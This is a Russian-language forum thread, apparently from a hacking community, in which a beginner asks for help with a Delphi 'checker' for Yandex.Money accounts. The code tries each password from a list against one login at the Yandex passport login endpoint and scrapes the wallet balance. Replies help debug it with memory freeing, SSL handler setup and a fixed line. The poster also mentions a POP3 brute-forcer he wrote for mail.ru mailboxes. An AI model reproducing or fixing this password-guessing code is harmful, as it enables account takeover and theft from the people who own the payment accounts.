Вообщем накидал чекер яд,но дает ошику,т.е комплимирует все но когда жму старт дает ошибку
извините за кривоту моего кода делфи только начал осваивать.
Код:
var
i:Integer;
info:TStringList;
p:TStringList;
s,proxy:string;
begin
info:=TStringList.Create;
p:=TStringList.Create;
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('login='+edt1.Text);
info.Add('passwd='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('https://passport.yandex.ru/passport?mode=auth&from=money&retpath=https://money.yandex.ru/index.xml&msg=money', info);
s:=idhtp1.Get('https://money.yandex.ru/index.xml?ncrnd=7284');
proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)pos('<',s)-10);
mmo2.Text:=proxy;
end;
end;
end.
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
VeTaL_UA я буквально пару недель осваиваю делфи,читаю книги и что то пытаюся сделать,но получается все криво,я буду очень благадарен если б вы рассказали что да как
VeTaL_UA я буквально пару недель осваиваю делфи,читаю книги и что то пытаюся сделать,но получается все криво,я буду очень благадарен если б вы рассказали что да как
кривизна на первых парах нормальна, не стоит от этого как то себя неуютно чувствовать, пара месяцев усердных занятий и будет все зашибись)
SSLOIHandler подцепи к idHttp
а разве при работе с хттпс даже с инди либы ссл не нужны?? О_о
Цитата:
info:=TStringList.Create;
p:=TStringList.Create;
создать создал, а освободить память в конце забыл!
что б форма не висла кинь на нее антифриз и включи его.
Выкинь Indy, используй [Ссылки могут видеть только зарегистрированные пользователи. ]
новичку тяжелее с synapse работать, пусть сначала на инди играть научиться, а потом уже на синапс переходит
а вообще если так судить то выкинуть и синапс! winsock лучше!
новичку тяжелее с synapse работать, пусть сначала на инди играть научиться, а потом уже на синапс переходит
а вообще если так судить то выкинуть и синапс! winsock лучше!
В книге как раз которую читаю (Делфи глазами Хакеров) как раз автор очень хорошо расказывает о винсокс2,хорошие примеры,НО т.к книга старая
компоненты все,все старое и очень тяжело освоить плоды
Не могли б вы мне подсказать с выше указыным вашим постом с освобождением и добовлением к idhttp,я просто не понел что вы имели в вижу.Заранее вам благодарен
А насчет
Код:
кривизна на первых парах нормальна, не стоит от этого как то себя неуютно чувствовать, пара месяцев усердных занятий и будет все зашибись)
Мне просто уже не удобно создавать темы с помощью )
С ПОП3 сервером я освоился и написать брут под мыло на основе поп3 запроса,а особено хотел бы отметить майл.ру, очень легко реализовать , а работа с indy,idhttp уже более сложна,т.к требует более усердной работы и расчетов
В книге как раз которую читаю (Делфи глазами Хакеров) как раз автор очень хорошо расказывает о винсокс2,хорошие примеры,НО т.к книга старая
компоненты все,все старое и очень тяжело освоить плоды
Не могли б вы мне подсказать с выше указыным вашим постом с освобождением и добовлением к idhttp,я просто не понел что вы имели в вижу.Заранее вам благодарен
А насчет
Код:
кривизна на первых парах нормальна, не стоит от этого как то себя неуютно чувствовать, пара месяцев усердных занятий и будет все зашибись)
Мне просто уже не удобно создавать темы с помощью )
С ПОП3 сервером я освоился и написать брут под мыло на основе поп3 запроса,а особено хотел бы отметить майл.ру, очень легко реализовать , а работа с indy,idhttp уже более сложна,т.к требует более усердной работы и расчетов
нет, работа с хттп проста как валенок, с синапсом сложнее, используй пока что инди, глазами хакера вообще тебе еще рано читать ИМХО) не с этого надо начинать.
про освобождение:
Цитата:
var
i:Integer;
info:TStringList;
p:TStringList;
s,proxy:string;
begin
info:=TStringList.Create;
p:=TStringList.Create;
try
for i:=0 to mmo1.Lines.Count-1 do
begin
info.Add('login='+edt1.Text);
info.Add('passwd='+mmo1.Lines.Strings[i]);
p.Text:=idhtp1.Post('https://passport.yandex.ru/passport?mode=auth&from=money&retpath=https://money.yandex.ru/index.xml&msg=money', info);
s:=idhtp1.Get('https://money.yandex.ru/index.xml?ncrnd=7284');
proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)pos('<',s)-10);
mmo2.Text:=proxy;
end;
finally
info.Free;// освобождаем память, занятую переменной info
p.Free; // освобождаем память, занятую переменной p
end;
end;
end.
обычные типы переменных, такие как стринг, интеджер, флоат и тд очищаются автоматически при закрытии программы. а вот если освобождение память от классов надо писать обязательно, иначе при закрытии программы память занятая этими переменными останется занятой и ничейной.
а разве при работе с хттпс даже с инди либы ссл не нужны?? О_о
Нужны. В гугле динамическую библиотеку скачать можно.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.
ну тогда будут либы эти еще и тут))) 0,9,8,18 версия
а что если я постоянно пользуюсь программой которая не очищает память и я перезагружаю пк раз в месяц? З.Ы. от лучше не лезть если не все обдумал)
спасибо за помощь
не подскажите тогда что почитать? в книжные магазины заходил,а они и не знают что такое делфи,неподскажите что из электронных книг почитать?
Добавлено через 49 минут
OIHandler is not valid дает ошибку сново
не знаю что и делать
Последний раз редактировалось pavel!; 21.02.2012 в 11:08.
Причина: Добавлено сообщение
спасибо за помощь
не подскажите тогда что почитать? в книжные магазины заходил,а они и не знают что такое делфи,неподскажите что из электронных книг почитать?
Добавлено через 49 минут
OIHandler is not valid дает ошибку сново
не знаю что и делать
У меня ошибку не выдает, но и при старте нечего не делает... стоит Delphi XE2
Нашел ошибку в коде
было=> proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)pos('<',s)-10);
надо=> proxy:=Copy(s,Pos('title="скрыть баланс">',s)+10,pos('.</a>a',s)-pos('<',s)-10);
Последний раз редактировалось MastaDan; 03.03.2012 в 10:35.
Регистрация: 30.09.2010
Сообщений: 4
Популярность: 10
Сказал(а) спасибо: 0
чекер яд
делфи только начал осваивать.
Золото Zhyk.Ru: 1 
а что если я постоянно пользуюсь программой которая не очищает память и я перезагружаю пк раз в месяц? З.Ы. от лучше не лезть если не все обдумал)
